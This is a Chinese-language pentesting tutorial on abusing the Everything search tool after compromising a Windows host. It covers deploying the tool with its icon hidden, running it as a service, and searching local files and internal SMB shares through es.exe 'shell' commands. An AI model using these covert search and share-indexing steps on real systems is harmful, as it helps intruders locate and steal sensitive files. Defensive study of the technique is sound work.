Everything 的后渗透利用方式

90_

【信息收集-工具】Everything 内网渗透使用
1.4
https://www.voidtools.com/zh-cn/downloads/

1.5
https://www.voidtools.com/forum/viewtopic.php?f=12&t=9787#download

es.exe everything命令行控制程序

https://www.voidtools.com/zh-cn/downloads/

HTTP服务器利用
前提条件：管理员 且 BypassUAC

下载便携版，打开
设置中取消显示托盘图标







选择应用，保存，得到配置文件



将便携版与配置文件上传到目标

然后安装Client 服务

[AppleScript] 纯文本查看 复制代码

everything.exe -install-client-service

这样就在目标机器上开启了http服务，可以搜索、下载

[AppleScript] 纯文本查看 复制代码

shell powershell "wget 'http://127.0.0.1:25005/?search=ceshi&offset=1'| Select -ExpandProperty Content"

卸载服务：

[AppleScript] 纯文本查看 复制代码

everything.exe -uninstall-client-service

优点:搜索方便、http服务

缺点:

1.需要把端口转出来，或者自己写个工具请求本地http服务去搜索，使用powershell的wget或者curl之类的也行。

2.因为安装了自启动服务，所以部分杀软或者管理软件会提示开机自启动。

使用ES命令行控制
PS：一定要使用1.5版本

条件：管理员权限+ bypass UAC

上传everything1.5版本，上传配置文件，这里就不需要http服务了，只需要隐藏图标即可，上传es.exe。

后台启动：

[AppleScript] 纯文本查看 复制代码

shell everything64.exe -startup

搜索：

[AppleScript] 纯文本查看 复制代码

shelles-instance 1.5a-sortsize-n 10 ceshi

图标也是隐藏的：



高级语法内容搜索
内容搜索比较费时间，最好只限定某目录、可限定格式

[AppleScript] 纯文本查看 复制代码

shelles-instance 1.5a-sortsize-n 10 content:hhhhhh-parent-pathC:\Users\aa\Desktop *.txt > re.txt

横向搜索共享
使用everything1.5

在everything1.5配置文件中存在folders参数，该参数可添加UNC路径



使用该参数可添加内网的共享地址，然后everything 会在启动时自动索引已经添加的内网共享。

对映到UI中修改的配置：



添加排除文件提高效率：



将配置文件、everything64.exe、es.exe 上传到目标服务器

使用es的命令退出当前的everything实例（如果之前有运行的话）：

[AppleScript] 纯文本查看 复制代码

shell es -instance 1.5a -exit

重新后台启动everything

[AppleScript] 纯文本查看 复制代码

shell everything64.exe -startup

注意：因为everything会自动进行SMB认证，所以需要注意一下token。

[AppleScript] 纯文本查看 复制代码

shell es-instance 1.5a -sortsize-n 10 \\

指定某台机器上：

[AppleScript] 纯文本查看 复制代码

shell es-instance 1.5a -sortsize-n 10 -parent-path \\192.168.110.138\ ceshi

总结：

Everything 比较适合机器多的情况下根据关机字检索重要文件，但如果添加的目标文件夹太多，建立索引的时间也会变长。

机器比较少还是一个一个翻比较实在